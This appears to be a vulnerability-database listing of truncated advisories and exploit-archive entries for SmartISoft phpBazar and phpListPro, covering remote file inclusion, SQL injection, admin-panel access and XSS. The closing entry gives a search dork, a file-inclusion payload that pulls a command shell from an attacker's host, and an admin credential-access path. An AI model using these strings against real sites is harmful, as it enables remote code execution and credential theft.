EUVD-2010-2325

Malware in sbrugna...

SmartISoft phpBazar Remote Code Execution (CVE-2010-2315)

A remote code execution vulnerability exists in SmartISoft phpbazar. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

phpBazar admin Information Disclosure Vulnerability

Exploit for php platform in category web applications =================================================== phpBazar admin Information Disclosure Vulnerability =================================================== Author :: NetSpy Group :: Aras cyber Army Email :: email protected Discover :: 1 july...

phpBazar Admin - Information Disclosure

===================================== phpBazar admin information discloser Vulnerability ===================================== Author :: NetSpy Group :: Aras cyber Army Email :: [email protected] Discover :: 1 july 2010 Critical Lvl :: M Published :: 22 july 2010 Vendor ::...

phpBazar Admin - Information Disclosure

phpBazar Admin - Information Disclosure ===================================== phpBazar admin information discloser Vulnerability ===================================== Author :: NetSpy Group :: Aras cyber Army Email :: [email protected]...

CVE-2010-2315

PHP remote file inclusion vulnerability in picturelib.php in SmartISoft phpBazar 2.1.1 allows remote attackers to execute arbitrary PHP code via a URL in the cat parameter...

CVE-2010-2315

The CVE-2010-2315 entry describes a PHP remote file inclusion vulnerability in SmartISoft phpBazar 2.1.1, specifically in picturelib.php where an attacker can trigger arbitrary PHP code execution by supplying a URL in the cat parameter. The underlying issue is improper validation/sanitation of th...

CVE-2010-2315

PHP remote file inclusion vulnerability in picturelib.php in SmartISoft phpBazar 2.1.1 allows remote attackers to execute arbitrary PHP code via a URL in the cat parameter...

phpBazar 2.1.1 stable - Remote File Inclusion

phpBazar 2.1.1 stable - Remote File Inclusion Title: phpBazar V2.1.1 stable rfi Vulnerability Author: Sid3^effects Published: 2010-06-03 Verison: 2.1.1 stable vendor: SmartISoft ooooo .oooooo. oooooo oooooo oooo 888' d8P' Y8b 888. 888. .8' 888 888 888. .8888. .8' 888 888 888 .8'888. .8' 888 888...

phpBazar V2.1.1 stable rfi Vulnerability

Exploit for php platform in category web applications ======================================== phpBazar V2.1.1 stable rfi Vulnerability ======================================== Title: phpBazar V2.1.1 stable rfi Vulnerability Author: Sid3^effects Published: 2010-06-03 Verison: 2.1.1 stable vendor:...

phpBazar 2.1.1 stable - Remote File Inclusion

Title: phpBazar V2.1.1 stable rfi Vulnerability Author: Sid3^effects Published: 2010-06-03 Verison: 2.1.1 stable vendor: SmartISoft ooooo .oooooo. oooooo oooooo oooo 888' d8P' Y8b 888. 888. .8' 888 888 888. .8888. .8' 888 888 888 .8'888. .8' 888 888 888.8' 888.8' 888 88b ooo 888' 888' o888o...

phpBazar-2.1.1fix Remote Administration-Panel Vulnerability

No description provided by source. phpBazar-2.1.1fix Remote Administration-Panel Vulnerability ! Found by? :? kurdish hackers team ! C0ntact : pshela at YaHoo .com ?????????????????? ! Groups : Kurd-Team ! site?? : www.kurdteam.org =======================================================...

phpBazar 2.1.1fix Remote Administration-Panel Vulnerability

Exploit for unknown platform in category web applications =========================================================== phpBazar-2.1.1fix Remote Administration-Panel Vulnerability =========================================================== =======================================================...

phpListPro returnpath Remote File Include Vulnerabilities

The remote web server is running phpListPro which is affected by remote file include vulnerabilities. SPDX-FileCopyrightText: 2008 Josh Zlatin-Amishav Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier:...

phpBazar 2.0.2 (adid) Remote SQL Injection Vulnerability

No description provided by source. phpBazar SQL Injection Vulnerability all versions by: e.wiZz! info: Bosnian Idiot FTW! In the wild.... Script site : http://www.smartisoft.com/ Vulnerability: http://inthewild.com/INSTALL PATH/classified.php?catid=x&subcatid=x&adid=x SQL INJECTION PoC on demo...

phpBazar 2.0.2 - 'adid' SQL Injection

phpBazar SQL Injection Vulnerability all versions by: e.wiZz! info: Bosnian Idiot FTW! In the wild.... Script site : http://www.smartisoft.com/ Vulnerability: http://inthewild.com//classified.php?catid=x&subcatid=x&adid=x SQL INJECTION PoC on demo site:...

phpBazar 2.0.2 - adid SQL Injection

phpBazar 2.0.2 - adid SQL Injection phpBazar SQL Injection Vulnerability all versions by: e.wiZz! info: Bosnian Idiot FTW! In the wild.... Script site : http://www.smartisoft.com/ Vulnerability: http://inthewild.com//classified.php?catid=x&subcatid=x&adid=x SQL INJECTION PoC on demo site:...

phpBazar 2.0.2 (adid) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ======================================================== phpBazar 2.0.2 adid Remote SQL Injection Vulnerability ======================================================== phpBazar SQL Injection Vulnerability all versions by: e.wiZz! info:...

PhpListPro Persistent XSS Vulnerability

-=--------------------ADVISORY-------------------=- phpListPro Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: phpListPro -=+ Version: 2.0.1 -=+ Vendor's URL: http://www.smartisoft.com/ -=+ Platform: WindowsLinuxUnix -=+ Bug type: Persistent...

phpBazar210.txt

Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password: /admin/admin.php?action=editmember&value=1 Fou...